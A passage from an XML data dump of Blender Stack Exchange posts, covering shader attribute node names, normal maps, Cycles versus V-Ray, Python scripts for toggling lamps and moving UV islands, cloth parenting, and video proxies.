node.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;uv&lt;/code&gt; This gives the UV coordinates of the active UV map (the map with the camera icon active). Same as the &lt;em&gt;UV&lt;/em&gt; output of the &lt;em&gt;texture coordinate&lt;/em&gt; node.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;generated&lt;/code&gt; This gives the generated coordinates of the object. Same as the &lt;em&gt;Generated&lt;/em&gt; output of the &lt;em&gt;texture coordinate&lt;/em&gt; node.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;tangent&lt;/code&gt; This gives the tangent coordinates using the object's active UV map. Same as the &lt;em&gt;Tangent&lt;/em&gt; output of a &lt;em&gt;tangent&lt;/em&gt; node with &lt;em&gt;direction&lt;/em&gt; set to &lt;em&gt;UV map&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;name of uv map&lt;/em&gt;&lt;br /&gt;&#xA;This allows you to get the UV coordinates stored in a specific UV map belonging to the object with the material. You usually want to use the &lt;em&gt;vector&lt;/em&gt; output, though the &lt;em&gt;color&lt;/em&gt; output is the same. The &lt;em&gt;Fac&lt;/em&gt; output gives an average of the channels.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Note that as of 2.71 there is a dedicated UV map node which makes this obsolete.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;name of vertex color set&lt;/em&gt;&lt;br /&gt;&#xA;This gives the vertex colors stored in the named vertex color datablock. Again the &lt;em&gt;color&lt;/em&gt; and &lt;em&gt;vector&lt;/em&gt; outputs are the same, and the &lt;em&gt;Fac&lt;/em&gt; output is an average.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In the case of a vertex color datablock and a UV map with the same name, the UV map will be used by the attribute node.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;There are actually quite a few more &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/intern/cycles/render/attribute.cpp;930bf584782da23e7269d794fff19f0d9ca3017b$192&quot; rel=&quot;nofollow noreferrer&quot;&gt;in the code&lt;/a&gt;, the ones listed above are just the ones which appear to work as of 2.74 &lt;code&gt;930bf58&lt;/code&gt; (latest master at the time of writing).&lt;/p&gt;&#xA;&lt;p&gt;For a complete list, see &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/intern/cycles/render/attribute.cpp;930bf584782da23e7269d794fff19f0d9ca3017b$192&quot; rel=&quot;nofollow noreferrer&quot;&gt;line &lt;code&gt;192&lt;/code&gt; of &lt;code&gt;/intern/cycles/render/attribute.cpp&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;sub&gt;I put &lt;code&gt;//no output&lt;/code&gt; next to the ones which appeared to do nothing.&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-c++ prettyprint-override&quot;&gt;&lt;code&gt;switch(std) {&#xA;    case ATTR_STD_VERTEX_NORMAL:&#xA;        return &amp;quot;N&amp;quot;;&#xA;    case ATTR_STD_FACE_NORMAL:&#xA;        return &amp;quot;Ng&amp;quot;;&#xA;    case ATTR_STD_UV:&#xA;        return &amp;quot;uv&amp;quot;;&#xA;    case ATTR_STD_GENERATED:&#xA;        return &amp;quot;generated&amp;quot;;&#xA;    case ATTR_STD_GENERATED_TRANSFORM:&#xA;        return &amp;quot;generated_transform&amp;quot;;   //no output&#xA;    case ATTR_STD_UV_TANGENT:&#xA;        return &amp;quot;tangent&amp;quot;;&#xA;    case ATTR_STD_UV_TANGENT_SIGN:&#xA;        return &amp;quot;tangent_sign&amp;quot;;          //no output&#xA;    case ATTR_STD_VERTEX_COLOR:&#xA;        return &amp;quot;vertex_color&amp;quot;;&#xA;    case ATTR_STD_POSITION_UNDEFORMED:&#xA;        return &amp;quot;undeformed&amp;quot;;            //no output&#xA;    case ATTR_STD_POSITION_UNDISPLACED:&#xA;        return &amp;quot;undisplaced&amp;quot;;           //no output&#xA;    case ATTR_STD_MOTION_VERTEX_POSITION:&#xA;        return &amp;quot;motion_P&amp;quot;;              //no output&#xA;    case ATTR_STD_MOTION_VERTEX_NORMAL:&#xA;        return &amp;quot;motion_N&amp;quot;;              //no output&#xA;    case ATTR_STD_PARTICLE:&#xA;        return &amp;quot;particle&amp;quot;;              //no output&#xA;    case ATTR_STD_CURVE_INTERCEPT:&#xA;        return &amp;quot;curve_intercept&amp;quot;;       //no output&#xA;    case ATTR_STD_CURVE_RANDOM:&#xA;        return &amp;quot;curve_random&amp;quot;;&#xA;    case ATTR_STD_PTEX_FACE_ID:&#xA;        return &amp;quot;ptex_face_id&amp;quot;;          //no output&#xA;    case ATTR_STD_PTEX_UV:&#xA;        return &amp;quot;ptex_uv&amp;quot;;               //no output&#xA;    case ATTR_STD_VOLUME_DENSITY:&#xA;        return &amp;quot;density&amp;quot;;&#xA;    case ATTR_STD_VOLUME_COLOR:&#xA;        return &amp;quot;color&amp;quot;;&#xA;    case ATTR_STD_VOLUME_FLAME:&#xA;        return &amp;quot;flame&amp;quot;;&#xA;    case ATTR_STD_VOLUME_HEAT:&#xA;        return &amp;quot;heat&amp;quot;;                  //no output&#xA;    case ATTR_STD_VOLUME_TEMPERATURE:&#xA;        return &amp;quot;temperature&amp;quot;;&#xA;    case ATTR_STD_VOLUME_VELOCITY:&#xA;        return &amp;quot;velocity&amp;quot;;              //no output&#xA;    case ATTR_STD_POINTINESS:&#xA;        return &amp;quot;pointiness&amp;quot;;&#xA;    case ATTR_STD_RANDOM_PER_ISLAND:&#xA;        return &amp;quot;random_per_island&amp;quot;;&#xA;    case ATTR_STD_NOT_FOUND:&#xA;    case ATTR_STD_NONE:&#xA;    case ATTR_STD_NUM:&#xA;        return &amp;quot;&amp;quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that for the &lt;em&gt;most part&lt;/em&gt; the attribute node seems to be used as a sort of &amp;quot;testing node&amp;quot; for inputs which aren't yet available in other nodes&lt;sup&gt;[citation needed]&lt;/sup&gt;. I suspect old attribute names are not removed when they do get added to another node (e.g. pointiness) as this would break backwards compatibility.&lt;/p&gt;&#xA;&lt;p&gt;At any rate, this would at least begin to explain why there is &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/input/attribute.html#attribute-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;little to no documentation&lt;/a&gt; about this node.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2021-02-18T06:27:12.197" LastActivityDate="2021-02-18T06:27:12.197" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="14268" PostTypeId="1" CreationDate="2014-07-22T18:13:09.007" Score="1" ViewCount="998" Body="&lt;p&gt;When animating a head, it is quite usual to work with the original geometry and at the same time having a normal map on it. So, is this a good way of doing it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You unwrap the head (lets call it &quot;A&quot;). You duplicate it two times (&quot;B&quot; and &quot;C&quot;). &quot;A&quot; has a subdivision surface modifier set on 1. &quot;B&quot; is the same as &quot;A&quot;, but the modifier is applied. &quot;C&quot; is the high poly model to be used for baking a normal map on &quot;B&quot;. However, the normal map is baked from &quot;C&quot; on &quot;B&quot; but it is used on &quot;A&quot;, so that when you animate the head you work with the original geometry. My concern is - If you render an image, will the normal map fit on &quot;A&quot; the same way as on &quot;B&quot;? And what are some other ways of making a normal map for a model to be used for animation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/9V4cG.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fqJyn.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QcL6J.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fAWgS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-07-22T19:17:04.530" LastActivityDate="2014-07-22T19:17:04.530" Title="Is it good to have a normal map on a subdivided model?" Tags="&lt;rendering&gt;&lt;animation&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14269" PostTypeId="2" ParentId="14264" CreationDate="2014-07-22T18:46:31.127" Score="0" Body="&lt;p&gt;As far as the Start-Up File, save a version as you like it in the older version and open it in the newer version and set it as the start-up file. You find that in the File menu by selecting &quot;Save Start-Up File...&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know about the User Preferences as I have the same question myself. &lt;/p&gt;&#xA;" OwnerUserId="5177" LastActivityDate="2014-07-22T18:46:31.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14270" PostTypeId="2" ParentId="14246" CreationDate="2014-07-22T19:56:34.703" Score="10" Body="&lt;p&gt;V-Ray and Cycles use similar methods to light a scene (path tracing, global illumination). The differences is in their implementation and ease of use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In cycles we define materials using &quot;nodes&quot;. V-ray seems to take a more traditional approach in just having a giant material with lots of settings. Example would be to do a normal looking material in cycles, you have to mix diffuse with &quot;glossy&quot; shader. In Vray, glossiness is just a parameter for the material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows cycles to have unique optimization strategies for rending, but it costs in its ease of use in my opinion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also cycles seems to be built for use on the GPU. It looks like V-ray has slightly more restrictions as to what is supported on the GPU compared to cycles (currently the only thing not supported on cycles GPU to my knowledge is subsurface scattering, which is on its way).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the grand scheme of things, I think you could get 2 renders looking similar using both cycles and V-ray. V-ray has the advantage of money behind it, and I believe is more polished at the moment.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2014-07-22T19:56:34.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14272" PostTypeId="2" ParentId="10644" CreationDate="2014-07-22T20:33:35.597" Score="2" Body="&lt;p&gt;Here is a variation of the script that works on all lamp objects with their name (&lt;code&gt;ob.data.name&lt;/code&gt;! ) starting with &quot;headlight&quot; (case insensitive):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class LightsOperator(bpy.types.Operator):&#xA;    bl_idname = &quot;object.lights_operator&quot;&#xA;    bl_label = &quot;Headlight Operator&quot;&#xA;&#xA;    def execute(self, context):&#xA;&#xA;        for ob in context.scene.objects:&#xA;            if not ob.type == 'LAMP':&#xA;                continue&#xA;            lamp = ob.data&#xA;            if lamp.name.lower().startswith(&quot;headlight&quot;):&#xA;                lamp.energy = 0.0 if lamp.energy &amp;gt;= 0.8 else 0.8&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(LightsOperator)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(LightsOperator)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    bpy.ops.object.lights_operator()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that it toggles the lights between 0.0 and 0.8, no matter what the initial value is. If you want to toggle only those with a specific energy, keep rounding errors in mind - it isn't really &lt;code&gt;0.8&lt;/code&gt; unless you &lt;code&gt;round(lamp.energy, 1)&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; lamp.energy = 0.8&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; lamp.energy == 0.8&#xA;False&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; lamp.energy&#xA;0.800000011920929&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; round(lamp.energy, 1)&#xA;0.8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-07-22T20:33:35.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14274" PostTypeId="2" ParentId="14242" CreationDate="2014-07-22T23:34:29.157" Score="22" Body="&lt;p&gt;You can use an empty with vertex parenting:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select a vertex on your non-cloth object and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; &lt;em&gt;&amp;gt; Cursor to selected&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to object mode and add an empty (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the empty selected (orange) and your non-cloth object active (yellow outline), enter edit mode and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; &lt;em&gt;&amp;gt; Make vertex parent&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PPxzx.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Back in object mode parent the cloth object to the empty by first selecting the cloth object, then the empty, and pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; &lt;em&gt;&amp;gt; Object&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Result (click for html5 video version):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/SlightVacantAmericanmarten&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://giant.gfycat.com/SlightVacantAmericanmarten.gif&quot; alt=&quot;Example gif&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2018-09-18T17:07:25.077" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="14275" PostTypeId="1" CreationDate="2014-07-22T23:38:50.980" Score="0" ViewCount="1053" Body="&lt;p&gt;My question is this, I want to create a dirt bike game that is more physics based then animation based.  I am brand new to the engine, and I am more of a graphic designer and not a coder, would it be possible to set physics without knowing coding?  Thanks again guys this is really awesome!&lt;/p&gt;&#xA;" OwnerUserId="5314" LastEditorUserId="2217" LastEditDate="2014-07-23T17:17:23.770" LastActivityDate="2014-07-23T17:17:23.770" Title="Can Blender be used to create a physics based game without programming?" Tags="&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-07-23T04:47:58.157" ContentLicense="CC BY-SA 3.0" />
  <row Id="14277" PostTypeId="2" ParentId="13976" CreationDate="2014-07-23T02:05:45.773" Score="3" Body="&lt;p&gt;Try using the VSE proxy function, Blender will render lower resolution media for all strips that have proxy turned on correctly. You also have to convert all the strips as Blender can't play mixed proxy/not proxy media. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, in the timeline of the sequence editor press &lt;kbd&gt;N&lt;/kbd&gt;. Scroll down a bit and tick the box labelled Proxy/Timecode. Change the options to suit your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t5rEp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, click on Strip &gt; Rebuild Proxy and Timecode indicies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JNRGx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, to have playback use these proxies, in the playback window press &lt;kbd&gt;N&lt;/kbd&gt;, and then change the Proxy render size to make the size of your proxies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1XSxs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1218" LastEditorUserId="3710" LastEditDate="2015-03-05T17:33:56.953" LastActivityDate="2015-03-05T17:33:56.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14278" PostTypeId="1" CreationDate="2014-07-23T02:39:57.690" Score="0" ViewCount="778" Body="&lt;p&gt;Question pretty much says it all. Also one more question: in the place where you can click on the layers there is a gold dot in one of the slots and a grey dot in another slot does the gold dot mean that layer will be rendered because the grey dot layer is not being rendered?&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5316" LastActivityDate="2014-07-24T01:42:09.587" Title="I have two layers with different objects in an animation how do I render these two layers together?" Tags="&lt;animation&gt;&lt;render-layers&gt;&lt;layers&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14279" PostTypeId="2" ParentId="8862" CreationDate="2014-07-23T03:52:43.423" Score="0" Body="&lt;p&gt;From what I read about in the past, more cores give you &quot;better&quot; rendering because of the parallelism. Regarding GPU rendering, the thing you also have to consider is whether you want this to be scalable and if your scene has a large memory footprint. Running out of GPU VRAM will essentially leave you without a GPU. If you're building a renderfarm, cores are the way to go. Plus, you can set the render to leave one or two cores free for other applications to use, so you'd be left with 4 or 5 cores on the 6, versus 2 cores on the 4. I personally use a 6-core Phenom II OCed to 3.72 GHz, which does everything I need it to and I can run background applications without issue. I can set the tile size up and get a reasonable looking preview pretty quickly without having to wait for two tiles at a time. Then, when I need to do a final render, I just set it back up to 6 cores and let it sit overnight or while I'm out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;tl;dr - I would say go with the 6. &lt;/p&gt;&#xA;" OwnerUserId="5317" LastActivityDate="2014-07-23T03:52:43.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14280" PostTypeId="2" ParentId="14275" CreationDate="2014-07-23T04:34:31.760" Score="1" Body="&lt;p&gt;Blender's game engine uses a node concept for &quot;wiring&quot; game functionality which are called logic bricks. You can get more advanced functionality with programming in Python, but the logic bricks can do what you want if you want to avoid the programming. So yes, you can create a game without programming knowledge using Blender's game engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Intro to BGE on the BlenderWiki ( &lt;a href=&quot;http://wiki.blender.org/index.php/User:Sculptorjim/Game_Engine&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/User:Sculptorjim/Game_Engine&lt;/a&gt; ) is pretty detailed on how to work with BGE and logic bricks. Blendswap also has an example with physics that you could start off with: &lt;a href=&quot;http://www.blendswap.com/blends/view/73536&quot; rel=&quot;nofollow&quot;&gt;http://www.blendswap.com/blends/view/73536&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know of one person, SolarLune, that has been working with the BGE for quite a while, and he's got quite a few videos up concerning it if you want some tips and tricks. He just did a recent video on why he uses BGE:&#xA;youtube.com/watch?v=8ZJEupWdf30&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unity would require programming in C# (or Javascript).&lt;/p&gt;&#xA;" OwnerUserId="5318" LastActivityDate="2014-07-23T04:34:31.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14281" PostTypeId="1" CreationDate="2014-07-23T04:44:15.033" Score="3" ViewCount="2754" Body="&lt;p&gt;I have a text object and I want to change the inner color of it, so that it is black. How can this be achieved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yPJBO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the inside of the S is black, and the outside it still blue? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E1M9A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already done it but there should be a faster way to do it.&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="599" LastEditDate="2014-07-23T07:22:30.317" LastActivityDate="2018-02-23T12:15:12.047" Title="Make sides of text object a different color?" Tags="&lt;materials&gt;&lt;text-object&gt;" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14282" PostTypeId="2" ParentId="14281" CreationDate="2014-07-23T05:02:49.053" Score="3" Body="&lt;p&gt;Blender doesn't have a direct way to do this currently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your options are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Convert the text to a mesh, Then select faces and change their materials.&lt;/li&gt;&#xA;&lt;li&gt;Use a shader which colors the faces differently based on their object space normal.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-07-23T05:02:49.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14284" PostTypeId="2" ParentId="14278" CreationDate="2014-07-23T06:09:45.770" Score="1" Body="&lt;p&gt;To activate more than one layer, you need to &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;LMB&lt;/kbd&gt; the layer buttons in the &lt;em&gt;3D-View Header&lt;/em&gt; or the &lt;em&gt;Render Layers&lt;/em&gt;, or you can press the appropriate number on the top row of your keyboard (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;1&lt;/kbd&gt;, &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;2&lt;/kbd&gt;,... for the top row, &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;1&lt;/kbd&gt;, &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;2&lt;/kbd&gt;... for the bottom) To select all press &lt;kbd&gt;`&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The darker buttons are visible layers, and the lighter ones invisible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dots in the layer buttons indicate that they contain at least one object. The layer that contains the active object will have an orange dot instead of a grey one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/oI3t6WG.png&quot; alt=&quot;Layers&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Post_Process/Layers#Scene_Layers_Settings&quot; rel=&quot;nofollow noreferrer&quot;&gt;Documentation of Layer Settings&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorDisplayName="user1853" LastEditDate="2014-07-24T01:42:09.587" LastActivityDate="2014-07-24T01:42:09.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14285" PostTypeId="2" ParentId="14281" CreationDate="2014-07-23T06:43:18.743" Score="1" Body="&lt;p&gt;Or you could make a World (or Object) space blend gradient ramp, play with the direction until it maps across the extrusion and then using Constant interpolation of the gradient ramp,  adjust position of front face colour tab to be exactly on the edge of front face.&lt;/p&gt;&#xA;" OwnerUserId="5320" LastActivityDate="2014-07-23T06:43:18.743" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14286" PostTypeId="2" ParentId="14281" CreationDate="2014-07-23T06:59:39.437" Score="4" Body="&lt;p&gt;Here's a shader which does as ideasman42 suggests:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dT2id.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dT2id.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;The values of the empty sockets in the multiply nodes are all 0.&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works by taking the dot product of &lt;code&gt;0,0,1&lt;/code&gt; and &lt;code&gt;0,0,-1&lt;/code&gt; in object space, and mixing two shaders based on the result.&lt;br&gt;&#xA;In this case, parts of the surface facing in the +Z or -Z direction (in object space) will be black, while the rest of the surface will be blue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a shader has the advantage of keeping the text editable as text.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="241" LastEditDate="2017-08-01T15:34:23.000" LastActivityDate="2017-08-01T15:34:23.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14287" PostTypeId="1" CreationDate="2014-07-23T09:45:30.513" Score="1" ViewCount="1102" Body="&lt;p&gt;I want to move the island in UV Editor, but it moves the faces in the 3D View&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.transform.translate(value=(0.0192062, 0.49296, 0), constraint_axis=(False, False, False), constraint_orientation='GLOBAL', mirror=False, proportional='DISABLED', proportional_edit_falloff='SMOOTH', proportional_size=1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in Blender 2.71 with python &lt;/p&gt;&#xA;" OwnerUserId="5322" LastActivityDate="2014-07-23T09:58:13.673" Title="How to move selected UV Island?" Tags="&lt;python&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14288" PostTypeId="1" CreationDate="2014-07-23T09:56:23.630" Score="1" ViewCount="991" Body="&lt;p&gt;I am using blender with an addon called blensor. I have some trouble with this addon and would like to alter its code at some place to see the effect my changes made. &#xA;Here is a working procedure:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Edit the appropriate python file of the addon in a text editor and save.&lt;/li&gt;&#xA;&lt;li&gt;Restart blender&lt;/li&gt;&#xA;&lt;li&gt;Change is visible when running addon&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This however is quite tidious for debugging. It would be nice to be able to reload the addon without having to restart blender. I did some research and tried to following, with no success:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Pressing F8 within blender. Looking at the console I can see that blensor seems to be reloaded but the changes I made are not visible when running it. Maybe the output &quot;addon_utils.disable: cycles not disabled&quot; in the system console means something?&lt;/li&gt;&#xA;&lt;li&gt;Opening the python script in blender's text editor, changing and saving it and clicking Text -&gt; Reload. Does not seem to have any effect.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any other ways or idea what I am missing?&lt;/p&gt;&#xA;" OwnerUserId="5124" LastActivityDate="2014-11-26T11:37:56.950" Title="Make changes in python scripts of addons effective" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14289" PostTypeId="2" ParentId="14287" CreationDate="2014-07-23T09:58:13.673" Score="2" Body="&lt;p&gt;You need to set the context's area type first, run the folowing script from the text editor not from the console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;area = bpy.context.area.type&#xA;bpy.context.area.type = 'IMAGE_EDITOR'&#xA;bpy.ops.transform.translate(value=(-0.209548, 0.232831, 0), constraint_axis=(False, False, False), constraint_orientation='GLOBAL', mirror=False, proportional='DISABLED', proportional_edit_falloff='SMOOTH', proportional_size=1)&#xA;bpy.context.area.type = area&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Related&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/7526/python-move-uv-for-selected-items&quot;&gt;Python - move UV for selected items&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-07-23T09:58:13.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14290" PostTypeId="1" CreationDate="2014-07-23T09:58:53.450" Score="3" ViewCount="1120" Body="&lt;p&gt;I would like to be able to show a popup window where you can select a scene from the current directory (the current scene has to be saved). The only thing I don't manage to do is the list on the popup, I need a self.report to be sure you are in a saved blend and to inform the user what's the problem but when I make my EnumProperty, self is not defined... How could I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my script :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;print(&quot;\n&quot;*5)&#xA;&#xA;def check(self):&#xA;        '''Check if our scene is saved'''&#xA;        currentScene = bpy.data.filepath.replace('\\', '/')&#xA;        if not currentScene:&#xA;            self.report({'ERROR_INVALID_INPUT'}, &quot;You're not on a saved blend, save before you continue&quot;)&#xA;            return False&#xA;        return True&#xA;&#xA;def available_scenes(self):&#xA;    '''Return the list to show on the popup'''&#xA;    if check(self):&#xA;        output_dir = bpy.path.abspath(&quot;//&quot;)&#xA;        scenes = [file for file in os.listdir(output_dir) if len(file.split('.blend')) == 2]&#xA;        #print('OUTPUT DIR -&amp;gt; ', output_dir, ' \nSCENES -----&amp;gt; ', scenes)&#xA;        return 